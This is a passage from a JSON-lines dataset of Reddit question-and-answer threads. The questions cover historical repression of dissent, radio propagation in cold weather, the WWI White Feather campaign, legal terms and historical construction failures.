suppression of dissent the distinction isn't particularly useful.\n\nRussia today is moderately repressive, but not nearly so much so as in its past.\n\n**Discussion:**\n\nTotalitarian regimes aren't monotonically violent or tolerant. You could be killed for any reason, or no reason at all. The poet Osip Mandelstam was killed for writing a rude poem about Stalin.  Hans and Sophie Scholl and some of the other White Rose movement were killed for advocating non violent resistance to the Nazis. Russia today isn't nearly so severe-- Putin's regime is likely the most tolerant to have ruled Russia for any appreciable number of years. Less repressive than the Soviets, less repressive than the Tsars.  Still, you push too far, and they can be very unpleasant, indeed murderous -- or at least countenancing murder carried out by regime allies.\n\nIf you look at the intelligence reports that totalitarian leaders followed, they often care intensely what \"ordinary people\" might say (or tweet) about them, but they care more what more influential people say. Napoleon's secret police reported to him almost daily on domestic security, both international spying and ordinary popular mood. Attract enough of the wrong kind of attention, and something bad could happen to you. That something bad might be a visit to the police station for a \"cup of tea\" as the Chinese tend to do to deliver a warning. It might be a beating. It might be internal exile. It might be a denunciation by your neighbors and a trip to the Gulag.\n\nThere's no \"average\" to systems which are designed to terrorize a population, and which require their obedience. A criticism might be ignored, or it might be punished with severity; it is in the nature of totalitarian regimes that they're unconcerned with ideas like \"proportionality\". They're much more concerned with the use of force and intimidation to achieve political control. Joseph Fouch\u00e9, Napoleon's Police Minister, on occasion ordered the release of prisoners with the notation \"assez puni\"  = \"punished enough\". That's not a judicial decision, just a secret policeman's own intuition about the balance between intimidation and national productivity.\n\nOne interesting question is to examine totalitarian regimes in comparison to each other and to themselves at different times. Regimes may be brutal, but they are not identically brutal at all times and place.  What would get you killed in the Soviet Union in 1937 was punished much less severely in 1960. What would get you killed in Hitler's Germany differed from what might get you killed in Mussolini's Italy or Franco's Spain.\n\nIn China today, the Internet has made it easy for us to map what the regime's sensitivities are. Interestingly they do not typically object to criticisms of local authorities for corruption or incompetence - but they respond much more aggressively to mention of certain forbidden topics: the Dalai Llama, the artist Ai Weiwei, the Falun Gong; and they are most aggressive about any suggestion of mass meetings or protests.\n\nBut today's repression in China is still light compared to the brutality of the past. The Yongle Emperor -- the much admired \"second\" Emperor of the Ming Dynasty (\"second\" is in quotes because he did away with the true second and expunged him), carried out a particular bloody massacre of not just a scholar who defied him, but the scholar's entire extended family-- this was referred to as \"Nine Familial Exterminations\"; the practice of punishing the extended family can be seen today in North Korea.  Granted that Fang Xiaoru and the \"Four Martyrs\" were prominent scholars -- eg perhaps not so \"ordinary\" -- but the brutality meted out to them (at least as the story goes) for criticizing the regime was extraordinarily brutal.\n\nIts notable that authoritarian regimes are often highly sensitive to dissent among emigr\u00e9 communities--  they don't just punish dissent in the country, they are often highly sensitive to dissent among their countrymen abroad, and may be differently sensitive to comments made abroad vs those made domestically.\n\n**Sources:**\n\nSavella, Italo G. \u201cArturo Bocchini and the Secret Political Police in Fascist Italy.\u201d *The Historian*, vol. 60, no. 4, 1998, pp. 779\u2013793.\n\nHarris, James. \"The Great Fear: Stalin's Terror of the 1930s\"  (Oxford University Press:2017)\n\nBURROWS, SIMON. \u201cDespotism without Bounds: The French Secret Police and the Silencing of Dissent in London, 1760\u20131790.\u201d *History*, vol. 89, no. 4 (296), 2004, pp. 525\u2013548.\n\nJohnson, Richard J. \u201cZagranichnaia Agentura: The Tsarist Political Police in Europe.\u201d *Journal of Contemporary History*, vol. 7, no. 1/2, 1972, pp. 221\u2013242.\n\nThurston, Robert W. \u201cPolice and People in Moscow, 1906-1914.\u201d *The Russian Review*, vol. 39, no. 3, 1980, pp. 320\u2013338.\n\nKing, G., Pan, J.,  &  Roberts, M. E. (2014). \"Reverse-engineering censorship in China\": Randomized experimentation and participant observation. Science, 345(6199), 1251722. [_URL_0_](_URL_0_)\n\nDitmanson, Peter. \u201cVenerating the Martyrs of the 1402 Usurpation: History and Memory in the Mid and Late Ming Dynasty.\u201d *T'oung Pao*, vol. 93, no. 1/3, 2007, pp. 110\u2013158.\n\nKelly, G. A. \u201cFrom L\u00e8se-Majest\u00e9 to L\u00e8se-Nation: Treason in Eighteenth-Century France.\u201d *Journal of the History of Ideas*, vol. 42, no. 2, 1981, pp. 269\u2013286."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://doi.org/10.1126/science.1251722"]]}
{"q_id": "16pinx", "title": "why i can touch arms behind my back - good hand over shoulder, bad hand under shoulder . but not the opposite way round.", "selftext": "As per the original question.\nI have no doubt that intense stretching over time could change this, but it seems to be default for most people.\nHowever I don't know what exercises or reasoning through everyday life I have done that has lead to this being the case.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/16pinx/eli5_why_i_can_touch_arms_behind_my_back_good/", "answers": {"a_id": ["c7y6zj0", "c7y7xt7", "c7y8439", "c7ybdmf", "c7yczy9"], "score": [6, 5, 2, 3, 2], "text": ["Well, i just had to try that after reading this. weird.", "I'm having a hard time understanding exactly what you mean.", "1. Everybody try it.\n2. Which side was problematic? For me, the problem is with my \"writing hand\" being down.\n3. Why is this? I feel tension in a muscle used when throwing things. Could it be that it's stronger=bigger=less flexible?", "I was able to do this quite easily, in fact I was able to interlock my hands behind my back, maybe it has to do with my slightly longer than average arms(shirt length 37).", "I can do it with my right hand over my shoulder and left hand under but not vice versa its bizarre "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "pbte2", "title": "Why can I listen to a certain radio station only when outside temperature is really low (-20 C/ -4 F)?", "selftext": "It's the heart of winter here in Finland, temperatures around -20 C and stuff. I noticed that a certain radio station, which can not usually be heard where I live, has suddenly become available. \n\nSo my question is: Do radio waves 'go further' in subzero temperatures and why does this happen? My friends speculated that the phenomenon has something to do with air humidity ('dry air') and thus electrical conductivity of air.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/pbte2/why_can_i_listen_to_a_certain_radio_station_only/", "answers": {"a_id": ["c3o4dnr", "c3o4kq3", "c3o5plr", "c3o6it9", "c3o8km0", "c3odhda"], "score": [17, 45, 6, 4, 3, 2], "text": ["Atmospheric conditions certainly have an impact on radio transmissions. The wikipedia article on [radio propagation](_URL_0_) lists many of the possible effects. Unfortunately my major was computer systems rather than communications, so I am not familiar with all of the mechanisms.\n\nMy educated guess would be that the denser surface air associated with the cold winter refracts the radio signals towards the ground more than during summer. This is similar to how an optical fibre \"traps\" a light beam in its centre by decreasing the refractive index of the glass as you move outwards radially.\n\nHopefully someone working in communications can step in and provide more detail!", "The ionosphere has a different composition at night then during the day due to the sun's rays not hitting it at night. Finland is very far North, and being the winter time the ionosphere is hit by very limited sun rays. The Ionosphere reflects certain radio waves, thus allowing you to hear stations from much farther away in the night time; which happens to be pretty much all the time if you live in Finland in the winter.\n", "Receiver temperature does affect signal to noise ratio, but I believe atmospheric conditions are the primary factor in RF propagation.\n_URL_2_\n\nAt night, it is possible to receive stations over very large distances thanks to reflections off of the ionosphere. The wiki on radio propagation gives some info on ionosphere modes that might match up with what you are experiencing.\n_URL_0_\n\nSome spacecraft use cryogenic ally cooled communications components to improve signal to noise ratio. \n\nFrom _URL_1_\n\n\"The DSN [deep space network] consists of large antennas equipped with cryogenically cooled low-noise amplifiers (approx. 20 K noise temperature) that ensure communications between JPL and other scientist laboratories as well as with Mars Exploration spacecrafts placed on orbit or that landed on its surface. This network is of course used to contact most other spacecrafts from Ulysses to Voyagers. \"", "I've heard this referred to as a \"Skipwave\" - But that was 30 years ago, I'm not finding much via Google.\n\nI'm 250 miles south of Minneapolis/St. Paul but on a cold night I can pick up KSTP 1500am, usually on a very cold night. \n\nEdit - [Here is an interesting discussion of skip waves](_URL_1_)  And the [tropospheric ducting](_URL_0_) forecast.", "Hello!\n\nActually, temperature DOES have an impact on FM signals, in easy words: if the air above the ground is hotter than the air on the ground, 'inversion' happens which radio experts call 'tropo'. You can read more about it here: _URL_3_\n\nI mostly observe tropo in summer when it is hot and humid. Also when there is a big difference between temperatures in the morning and the afternoon(e.g. 12C in the morning and 34C in the afternoon). But there is no certainty at all! Distances are mostly between 100 and 400km. (but if you have no professional equipment only 100-250km or so, although it CAN be further in extreme circumstances.)\n\nI personally mostly check _URL_2_ to find out what the current propagation is.\nThe map of Finland is here: _URL_1_\nYou can check the distance from the radio station at _URL_0_ \n\nBut I do not think radio waves go further in subzero temperatures. Most likely it has something to do with the tropospheric propagation I explained above.\n\nI hope this explanation is clear enough for you, if you have any more questions, please ask:)\n", "Tropospheric ducting and temperature inversions can occasionally extend the range of radio far beyond normal:\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Radio_propagation"], [], ["http://en.wikipedia.org/wiki/Radio_propagation", "http://www.astrosurf.com/luxorion/qsl-mars-communication2.htm", "http://en.wikipedia.org/wiki/Noise_temperature"], ["http://www.dxinfocentre.com/tropo.html", "http://forums.radioreference.com/texas-radio-discussion-forum/207830-must-have-been-skip-wave.html"], ["www.fmscan.org", "http://www.dxinfocentre.com/tropo_eeu.html", "www.dxinfocentre.com/tropo.html", "http://en.wikipedia.org/wiki/Tropospheric_propagation"], ["http://en.wikipedia.org/wiki/Radio_propagation#Tropospheric_ducting"]]}
{"q_id": "2e2qy2", "title": "what is procedural law, and what is substantive law?", "selftext": "Reading about the Court of Arbitration for Sport and came across these terms in this intro: _URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2e2qy2/eli5_what_is_procedural_law_and_what_is/", "answers": {"a_id": ["cjvi3nj"], "score": [2], "text": ["Procedural law is the laws and rules that determine how a court case is handled. It says how long each party has to respond to the other party, what is allowed as evidence, etc.\n\nSubstantive law is what most people generally think of as \"law.\" It tells you what actions a person must do in order to be liable, and what the remedies of the other party are."]}, "title_urls": [], "selftext_urls": ["http://www.probst-law.ch/bilder/The-International-Sports-Law-Journal-2012.pdf"], "answers_urls": [[]]}
{"q_id": "3xg8tl", "title": "WWI - women of the Order of the White Feather. Did some of them later regret 'bullying' young men to awful deaths?", "selftext": "This question has been asked before, but the replies to it have been deleted it seems: _URL_0_\n\nAnd I am very interested in knowing whether any of these women, after the war was over and the public, I assume, got a much better insight into how dreadful conditions were on the fronts, later had any second thoughts on their involvement in the White Feather campaign. \n\nOn one hand, I imagine that times were different, and patriotism and the righteous cause of war were rampant. But on the other hand, WWI seemed to shock the world as people knew it with the sheer destruction and waste. So I would think that some at least would have a bad taste in the mouth. But what do I know. :)\n\nThank you very much for any answers! ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3xg8tl/wwi_women_of_the_order_of_the_white_feather_did/", "answers": {"a_id": ["cy4qw4y", "cy4rk3y"], "score": [120, 15], "text": ["* [Why did Suffragrettes hand out white feathers?] (_URL_2_)\n\n^ I've given this answer previously, so I'll post what I did last time:\n\n >  The so-called 'Order of the White Feather' was created in Britain in 1914 by a former admiral, and essentially involved handing out 'white feathers' to anyone, specifically men, not seen as supporting the war effort, ie not enlisting. Some British women's organizations handed out feathers, an act that symbolizes 'cowardice' on the part of the receiver and which predated WWI. However, they seem to have been a minority, [with Stephen Badsey indicating that most references to them he's seen from the time being in the context of complaints against their activities.] (_URL_0_) It would seem their activities were curtailed, and by 1915 Compulsion had been introduced under the Derby Plan, and eventually Conscription was introduced at the beginning of 1916. The appearance of the White Feather seems to have died out by 1916, which seems to suggest a correlation with Conscription being enacted.\n\nIt's also worth noting that the Sufragettes weren't the only ones handing out White Feathers; the weekly newsletter *The Passing Show* informed it's readers in May 1915 that, \"civilians shouldn't go out 'without a plentiful supply of White Feathers...'\" Even more so, it wasn't a guarantee that a man would be sent into the army; even if he was, he might be serving at home, working in the government, or be involved in 'vital war work', ie industry, for which about 500 000 men were sent **back** from the Western Front in 1915 to return to their jobs at home.\n\n >  And I am very interested in knowing whether any of these women, after the war was over and the public, I assume, got a much better insight into how dreadful conditions were on the fronts, later had any second thoughts on their involvement in the White Feather campaign\n\nAlthough I can't comment on any feelings of guilt, I will say that civilians were not as ignorant of the conditions at the Front as people generally assume. Writers like Philip Gibbs and John Buchan wrote stories set at the front, and cartoonists like Bruce Bairnsfather depicted the life of the Tommies, in ways that gave at the very least a rough idea of what life was like. Photographs in newspapers, films screened at home, the letters home of soldiers (that seem to have been remarkably frank about conditions there), and whatever information could be provided by soldiers on leave or recovering at home, allowed civilians in Britain to contemplate the conditions at the front, even if they never experienced the full horrors of combat. Organizations like the British Red Cross Wounded and Missing Enquiry Bureau, allowed civilians to obtain a fairly detailed portrait of what life at the front was like. In the case of the Red Cross Bureau, unit reports, interviews with wounded soldiers, and whatever info could be scrounged from sources, was used to provide information to British and Commonwealth Families on where and how soldiers had died/gone missing. Often, descriptions were very graphic (bisected by a shell, decapitated by shell fragments, etc), but it was found that families appreciated this stark realism and the constant updates of information the Bureau provided, as it gave them the closure and solace, and above all the truth, that the 'dreaded telegram' never did. \n\nIn fact, this poem written in 1916 expresses the stereotypical view of a soldier returning home:\n\n >  They give us sweets and picture books and cigarettes and things\n\n >  And speaks to us respectful-like as though we all was Kings ...\n\n >  And we talks a bit to please them when the ladies come to call,\n\n >  But the things that we have seen and done, they 'aven't seen at all ...\n\n >  The're things that don't bear thinking of and things you never tell;\n\n >  It's a waste of breath to talk to folk who haven't been in 'Ell\n\nCalled 'Home Again,' it was written **by a woman**.\n\nEDIT: Another interesting contrast between the standard narrative of 'insensitive civilians' and reality is these two quotes, one from war correspondent Philip Gibbs, the other from a British soldier in a letter to his father in 1914.\n\n >  Because there was no code of words which would convey the picture of that wild agony of peoples, that smashing of all civilized lands, to men and women who still thought of war in terms of heroic pageantry.  \u2013 Philip Gibbs, war correspondent \n\nversus\n\n >  Then a bombardment with enormous shells for a couple or more days, until trenches and men\u2019s nerves are smashed to ribbons, and a surprise rush in the middle of the night.  Then more digging.  Each side is left therefore with row upon row of trenches behind them at short intervals, and a successful attack only means that the enemy are pushed back to their next line, not very far.  -John Aiden Liddle, Argyll and Sunderland Volunteers,  extract from a letter to his father, November 26, 1914 \n\nMoving on:\n\n >  On one hand, I imagine that times were different, and patriotism and the righteous cause of war were rampant. But on the other hand, WWI seemed to shock the world as people knew it with the sheer destruction and waste.\n\nWell, in all of August 1914, only 80 000 men **in all of Britain** volunteered for the Army. The great surge in recruiting took place in the first week of September, 1914, following the publishing of the Mons Telegram. This described the dire position of the BEF, currently involved in the Great Retreat following rear-guard actions at Mons and Le Cateau, and put out a stark appeal for more men. **Over 100 000 enlisted**, overwhelming the British Army's recruitment system (the Recruitment Office was actually created as a result!). They were not volunteering because of blind jingoism, but were motivated by the terrible situation of the British Army. They feared for their homes, and many for their families. It was a similar case with 'atrocity propaganda.' in reality, stories of maimed babies were confined to the gutter press. The real atrocities, verifiable massacres like at Liege, Aarschot, Dinant, and Leuven, remained the cause celebres for much of the war. Over 1 million men volunteered in 1914, and the Derby Plan netted c. 800 000 men in 1915, before Conscription was introduced in January 1916. Even then, the pre-war professionals/semi-professionals of the Regular and Territorial Forces, along with the Kitchener Volunteers, bore the brunt of the fighting from the beginning of the war until late August, 1916, when the Derby Men arrived, and Conscripts only entered the ranks late in 1916. The 'Contemptibles', the 'Terriers', and the 'Kitchener Men', continued to make up a large part of the army until the end of the war. Catriona Pennell has an excellent talk on the beginning of the war [here] (_URL_1_)\n\nSources:\n\n* *A Kingdom United* by Catriona Pennell \n* *The Last Great War* by Adrian Gregory\n* *Sites of Memory, Sites of Mourning* by Jay Winter\n* *Fighting Different Wars* by Janet K. Watson\n* *The Unquiet Western Front* by Brian Bond\n* *The British Red Cross Wounded and Missing Enquiry Bureau: A Case of Truth-Telling in the Great War* by Eric F. Schneider (article)\n* *The Realities of War* and *Local heroes: war news and the construction of \u2018community\u2019 in Britain, 1914\u201318* by Michael Finn (articles)\n* *Bereaved and aggrieved: combat motivation and the ideology of sacri\ufb01ce in the First World War* by Alexander Watson and Patrick Porter (article)\n* *\u2018Sticking to a Hateful Task\u2019: Resilience, Humour, and British Understandings of Combatant Courage, 1914\u20131918* by Edward Madigan (article)\n* *\u2018Over by Christmas\u2019: British popular opinion and the short war in 1914* by Stuart Hallifax (article)\n* *White Feathers and Wounded Men: Female Patriotism and the Memory of the Great War* by Nicoletta F. Gullace (article)\n* *Propaganda and \u2018manufactured hatred\u2019: A reappraisal of the ethics of First World War British and Australian  atrocity propaganda* by Emily Robertson (article)\n* *Soldiering and Identity: Reflections on the Great War* by David Englander (article)\n", "Side question: Were these the [women](_URL_0_) in Downton Abbey targeting the young men of the house during the concert, and who Lord Grantham later kicked out?"]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/AskHistorians/comments/1q365r/did_any_of_the_women_involved_in_the_ww1_white/"], "answers_urls": [["https://www.youtube.com/watch?v=ziGow3CLalo", "https://www.youtube.com/watch?v=5W0657Bwn_A", "https://www.reddit.com/r/AskHistorians/comments/3gisma/why_was_the_practice_of_presenting_men_who/"], ["http://downtonabbey.wikia.com/wiki/White_feather_girls"]]}
{"q_id": "1ujf57", "title": "Monday Mysteries | Construction Conundrums", "selftext": "**Previously:**\n\n- [New and controversial ideas in your field](_URL_23_)\n- [Meetings between historical figures](_URL_32_)\n- [Historical one-offs](_URL_9_)\n- [Historical historical misconceptions](_URL_4_)\n- [Secret societies and cults](_URL_25_)\n- [Astonishing individuals](_URL_34_)\n- [Suggestion thread](_URL_1_)\n- [More research difficulties](_URL_5_)\n- [Most outlandish or outrageous historical claims](_URL_24_)\n- [Inexplicable occurrences](_URL_30_)\n- [Lost (and found) treasures](_URL_11_)\n- [Missing persons](_URL_10_)\n- [Mysterious images](_URL_29_)\n- [The historical foundations of myth and legend](_URL_12_)\n- [Verifiable historical conspiracies](_URL_7_)\n- [Difficulties in your research](_URL_16_)\n- [Least-accurate historical films and books](_URL_8_)\n- [Literary mysteries](_URL_14_)\n- [Contested reputations](_URL_2_)\n- [Family/ancestral mysteries](_URL_0_)\n- [Challenges in your research](_URL_13_)\n- [Lost Lands and Peoples](_URL_20_)\n- [Local History Mysteries](_URL_19_)\n- [Fakes, Frauds and Flim-Flam](_URL_17_)\n- [Unsolved Crimes](_URL_15_)\n- [Mysterious Ruins](_URL_3_)\n- [Decline and Fall](_URL_6_)\n- [Lost and Found Treasure](_URL_31_)\n- [Missing Documents and Texts](_URL_27_)\n- [Notable Disappearances](_URL_28_)\n- [The Great accidents and \"accidents\" of history](_URL_26_)  \n- [Great Turnabouts and Reversals](_URL_21_)  \n- [Parenthood Problems and Succession Scandals](_URL_33_)  \n- [Historical and Archaeological Missteps](_URL_18_)  \n- [Your Work](_URL_22_)  \n\n**Today:**\n\nThe \"Monday Mysteries\" series will be focused on, well, mysteries -- historical matters that present us with problems of some sort, and not just the usual ones that plague historiography as it is. Situations in which our whole understanding of them would turn on a (so far) unknown variable, like the sinking of the Lusitania; situations in which we only know that something did happen, but not necessarily how or why, like the deaths of Richard III's nephews in the Tower of London; situations in which something has become lost, or become found, or turned out never to have been at all -- like the art of Greek fire, or the Antikythera mechanism, or the historical Coriolanus, respectively.\n\n**This week we'll be taking a look at failures in construction throughout history.**\n\nThis one is broader than you might think. First of all, we all know about the great successes of construction in the past - things like the Pyramids, the Great Wall, etc. But how about the ones that *didn't* work out? Were there ancient bridges that collapsed? Pyramids that fell over? How about churches that were just really badly designed? Any and all failures of engineering here are welcome - but wait, there's more!\n\nFeel free to also tell us about construction that *didn't achieve its intended purpose.* How about a wall that had a unique flaw that could be exploited, a la Helm's Deep? Perhaps a building that people decided would work better with a different purpose that was completely different from the one it intended? In short...go crazy ;)\n\n**Next Week on Monday Mysteries - Sabotage! Destruction! Maybe explosions? See you then!**\n\nRemember, moderation in these threads will be light - however, please remember that politeness, as always, is mandatory. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ujf57/monday_mysteries_construction_conundrums/", "answers": {"a_id": ["ceipq2u", "ceitr7o", "ceiutcx", "ceivs2k", "ceiwydm", "ceix0ud", "ceix7j4", "ceixnqb", "cej1c55", "cej4vk7", "cej8c8f", "cejfr02", "cejh9r1"], "score": [31, 5, 20, 17, 22, 17, 14, 22, 9, 5, 7, 9, 3], "text": ["Behold, the **[The Palace of the Soviets](_URL_0_)**. A building to be built in Moscow as the capital building for the Soviet Union, holding within it the Congressional Hall and other government functions. They planned the construction holding a competition for the final project. The final project was to be a building taller than the Empire State Building, with a statue of V. Lenin on top ushering in communism to the world. \n\nThey tore down Cathedral of Christ the Savior, one of the most famous churches in Russia in 1931 to be the sight of the new building. However the building was delayed because of structural concerns. However they began construction of the Palace in 1939. They tore down pieces for the war effort against Nazi Germany and the Palace stood in limbo for the war years and after until they basically ended the development of the building altogether instead building a pool where the Cathedral once stood. \n\nIf completed the Palace of the Soviets would have been an incredible building to see.", "When talking about failed engineering feats, one of my favorites is the [Maginot Line](_URL_0_). \n\nThe Maginot Line was [320km](_URL_3_) of [fortification](_URL_2_), [underground barracks](_URL_1_), and [retractable turrets](_URL_4_) designed to prevent (or hinder depending on your strategic perspective of its construction) the advance of a potential German invasion into France.\n\nFrom an engineering and construction perspective, it was a pretty impressive feat, especially considering that France was still recovering from the depression and managed to leverage as much as 3 billion Francs for the effort.\n\nFrom a strategic perspective, it was an enormous waste of money and never used for it's intended purpose. The design, like many military fortifications, was based on a reactive strategy devised from previous engagements, in this case the static lines of WWI, and was woefully unprepared for a more mobile invasion force. When Germany did invade, their armor and infantry simply went around the Maginot Line, taking advantage of a gap on the Belgium border that was supposed to be guarded by treaty and neutrality. Even had that boarder been guarded, however, the design had not anticipated the swift advances in air warfare since WWI, and the Luftwaffe simply flew over the line.", "Please, someone tell the story of the warship *Vasa*, the dreadnought that was so well-armored and impressively armed (she could shoot 700 pounds of shot at once!) that she couldn't actually float and sank 100 feet under the cold, cold Baltic less than a mile into her maiden voyage. \n\nLuckily for us, the cold, cold water was a great way to preserve a 17th-century ship and we were able to salvage the wreck, which is now the centerpiece of a [museum in Stockholm](_URL_1_). \n\nBut how angry do you think King Gustav Adolf was? Two years and a thousand oak trees to build this massive ship, beautiful summer morning, banners flying from the 15-story-tall masts, some of the 64 bronze cannons fire a salute, she rounds the cliffs of S\u00f6dermalm, sailors climb the rigging and set four sails (of 10), she goes 1,300 meters, heels to port, the gunports start taking on water, and plunk.  \n\nSweden spends the next three centuries trying to lift stuff up from the wreck. (They got the cannons using diving bells. Like, basically, [giant upended buckets](_URL_0_) with weights attached.)\n", "Three hours in and no mention yet of Galloping Gertie? I guess I'll do the honours.\n\nThe 1940 Tacoma Narrows Bridge in Washington was a suspension bridge that became famous for the odd bending and moving motion it made when the winds blew. The movement was first noticed during construction and various methods were used to try to make it stop, without much success. Somewhat amazingly to modern eyes, this thing was opened to the public. Around four months later, it collapsed dramatically and was [caught on video](_URL_0_). The only casualty was a dog called Tubby.\n\nPossibly the most interesting thing about the Tacoma Narrows Bridge is that the exact reasons it fell are still being studied. I'm not an engineer and my understanding of physics is *maybe* rudimentary, so I'm not really going to try and explain what's known to have factored in. \n", "Roman construction has something of a reputation for being sturdy and magisterial and their engineers are often idealized as practically minded and highly competent. This is understandable when one looks at ruins that still stand to this day, but is also something of a selection bias, because by necessity all of the buildings that survived were extremely well built. Luckily, the correspondence between the emperor Trajan and Pliny the Younger as governor of Bithynia gives us a different side this, as one of his many jobs is to make sure the locals aren't messing everything up. In particular, Epistulae XLVIII and XLIX contain an exchange between Pliny and Trajan about a particularly inept construction project.\n\nFirst a little context to Pliny's letters. It can often seem, to the modern reader, that about 3/4 of Pliny's letters are incredibly petty and insignificant, almost to the point where it seems like he is pestering. It seems rather off to us to read a letter in which he says, basically, \"I've arrived in Ephesus, but the wind is kind of bad so I will use rivers to get to Bithynia\" or, like this one, \"Here is a problem, what should I do, Trajan?\" \"Figure it out, Pliny, you are a big boy.\" For one, it is basically Pliny's job to keep Trajan informed of as much as possible. Particularly in an age where communication is slow, it is important to maintain a steady stream of reliable information. Furthermore, on Pliny's end it is important that he maintains himself as very visible to Trajan, who can be assured he is staying on the straight and narrow. Secondly, these letters are almost a guidebook on how to be a proper governor, particularly given that Pliny was appointed governor of Bithynia because the previous administration had mismanaged the finances. It is entirely likely that in almost every case Pliny has asked for Trajan's advice, he had already acted to implement more or less exactly what the emperor wanted, but by publishing these in letter format he can give a good indication of how a governor is supposed to act.\n\nAnyway, [the letters](_URL_0_):\n\nPliny to Trajan:\n\n > The citizens of Nicea, Sir, are building a theatre, which, though it is not yet finished, has already exhausted, as I am informed (for I have not examined the account myself), above ten millions of sesterces; and, what is worse, I fear to no purpose. For either from the foundation being laid in soft, marshy ground, or that the stone itself is light and crumbling, the walls are sinking, and cracked from top to bottom. It deserves your consideration, therefore, whether it would be best to carry on this work, or entirely discontinue it, or rather, perhaps, whether it would not be most prudent absolutely to destroy it: for the buttresses and foundations by means of which it is from time to time kept up appear to me more expensive than solid. Several private persons have undertaken to build the compartments of this theatre at their own expense, some engaging to erect the portico, others the galleries over the pit: but this design cannot be executed, as the principal building which ought first to be completed is now at a stand. This city is also rebuilding, upon a far more enlarged plan, the gymnasium, which was burnt down before my arrival in the province. They have already been at some (and, I rather fear, a fruitless), expense. The structure is not only irregular and ill-proportioned, but the present architect (who, it must be owned, is a rival to the person who was first employed) asserts that the walls, although twenty-two feet in thickness, are not strong enough to support the superstructure, as the interstices are filled up with quarry stones, and the walls are not overlaid with brickwork. Also the inhabitants of Claudiopolis are sinking (I cannot call it erecting) a large public bath, upon a low spot of ground which lies at the foot of a mountain. The fund appropriated for the carrying on of this work arises from the money which those honorary members you were pleased to add to the senate paid (or, at least, are ready to pay whenever I call upon them) for their admission. As I am afraid, therefore, the public money in the city of Nicea, and (what is infinitely more valuable than any pecuniary consideration) your bounty in that of Nicopolis, should be ill applied, I must desire you to send hither an architect to inspect, not only the theatre, but the bath; in order to consider whether, after all the expense which has already been laid out, it will be better to finish them upon the present plan, or alter the one, and remove the other, in as far as may seem necessary: for otherwise we may perhaps throw away our future cost in endeavouring not to lose what we have already expended.\n\nTrajan to Pliny:\n\n > You, who are upon the spot, will best be able to consider and determine what is proper to be done concerning the theatre which the inhabitants of Nicea are building; as for myself, it will be sufficient if you let me know your determination. With respect to the particular parts of this theatre which are to be raised at a private charge, you will see those engagements fulfilled when the body of the building to which they are to be annexed shall be finished. - These paltry Greeks are, I know, immoderately fond of gymnastic diversions, and therefore, perhaps, the citizens of Nicea have planned a more magnificent building for this purpose than is necessary; however, they must be content with such as will be sufficient to answer the purpose for which it is intended. I leave it entirely to you to persuade the Claudiopolitani as you shall think proper with regard to their bath, which they have placed, it seems, in a very improper situation. As there is no province that is not furnished with men of skill and ingenuity, you cannot possibly want architects; unless you think it the shortest way to procure them from Rome, when it is generally from Greece that they come to us.\n\n\nStupid Greeks, amirite? Incidentally, the theater at Nicea (modern Iznik) is actually in [pretty good shape](_URL_1_). I haven't been able to find any information on whether Pliny decided to shore up the theater or just start from stratch--any archaeological trace of such activity is either undetected, invisible, or I simply haven't seen it yet.", "[The Amphitheater of Fidenae](_URL_0_)- According to the *Annals* of Tacitus, this wooden amphitheater collapsed, killing 50,000 people.... though Suetonius puts the figure at 20,000.\n Either way, you are looking at the worst non-dam failure related engineering disaster in history...and one that led to some of the world's earliest building construction codes. \n\n What we know from Tacitus and Suetonius is (1) The amphitheater was wooden; (2) that it was hurriedly constructed to exploit the newly re-legalized gladiatorial games, and (3) \"That he had failed to lay a solid foundation to frame the wooden super-structure with beams of sufficient strength\"- IV.62\n\n It's almost mundane except in the scale of the carnage. Profoundly stupid. I think I'll cite this disaster the next time I hear somebody kvetching about big government and building permits. ", "So most people who know a little about Jewish history know that the Second Temple was destroyed by the Romans in 70 CE. And those know know a little more know that a Third Temple is a major part of Jewish eschatology, though some more liberal sects don't believe in it anymore (Reform Judaism, mostly).  And many people know that the modern consensus is that it shouldn't be built until the messiah arrives.\n\nBut that consensus exists for a reason--failed attempts at building the Third Temple.  The first attempt was in 135, during the Bar Kochba revolt.  It failed when the rebellion did.\n\nA more interesting one is from the 4th century.  Emperor Julian allowed the Jews to reconstruct it.  However, there was an earthquake, which damaged the construction.  There's also a lot of talk about weird supernatural fire of some sort burning things down/burning workers.  The result was that it failed, and the basic concept that God doesn't want the Temple rebuild yet took hold.", "Someone posted a link to this thread in /r/architecture, as an architect you'd think I'd have an expansive knowledge of failed projects, but I struggled to think of an interesting one. Apologies in advance for any faux pas regarding your subreddit etiquette. \n\n**The Unbuilt Plans for London**\n\nLondon has always been a city that has grown and developed organically and has resisted any kind of 'grand masterplan'. The [City of London](_URL_6_) seen here outlined poorly by a faint dotted red line, has largely retained the ad hoc street pattern of medieval London which grew from the occupation of the original Roman fort and settlement of Londinium, in fact the modern day motorway 'London Wall' follows the path of the original roman city wall.\n\n**Great Fire of London**\n\nIn 1666 the city, consisting mainly of simple wooden buildings with thatched roofs, was burnt to the ground in the [fire](_URL_3_) famously started in a bakery in pudding lane. The extent of the damage can be seen in [this survey carried out by Wenceslaus Hollar in 1667](_URL_4_)\n\nIn the aftermath Charles II encouraged radical rebuilding schemes to be drawn up for a new city, 5 proposals were drawn up and they are as follows:\n\n[Christopher Wren's Plan for London](_URL_0_)\n\nA combination of Renaissance planning and large-scale French garden design, the plan's central streets connect public squares and landmarks, while a narrower street grid fills the residual space. Wren's design, inspired by the Gardens of Versailles, imagined a well-ordered London with vistas and wide, straight streets.\n\n[John Evelyn's Plan for London](_URL_7_)\n\nThis plan was similar to Christopher Wren's and was designed with similar influences in mind and would have created a modern day London much more akin to today's Paris.   \n\n[Richard Newcourt's Plan for London](_URL_5_)\n\nThis plan would have seen London split into a grid by a series of main roads. Small side roads would have lead off from the main roads into public squares in the center of each of the building plots which would all of contained a parish church.\n\n[Robert Hooke's Plan for London](_URL_1_)\n\nHooke's plan was similar to Newcourt's in that it 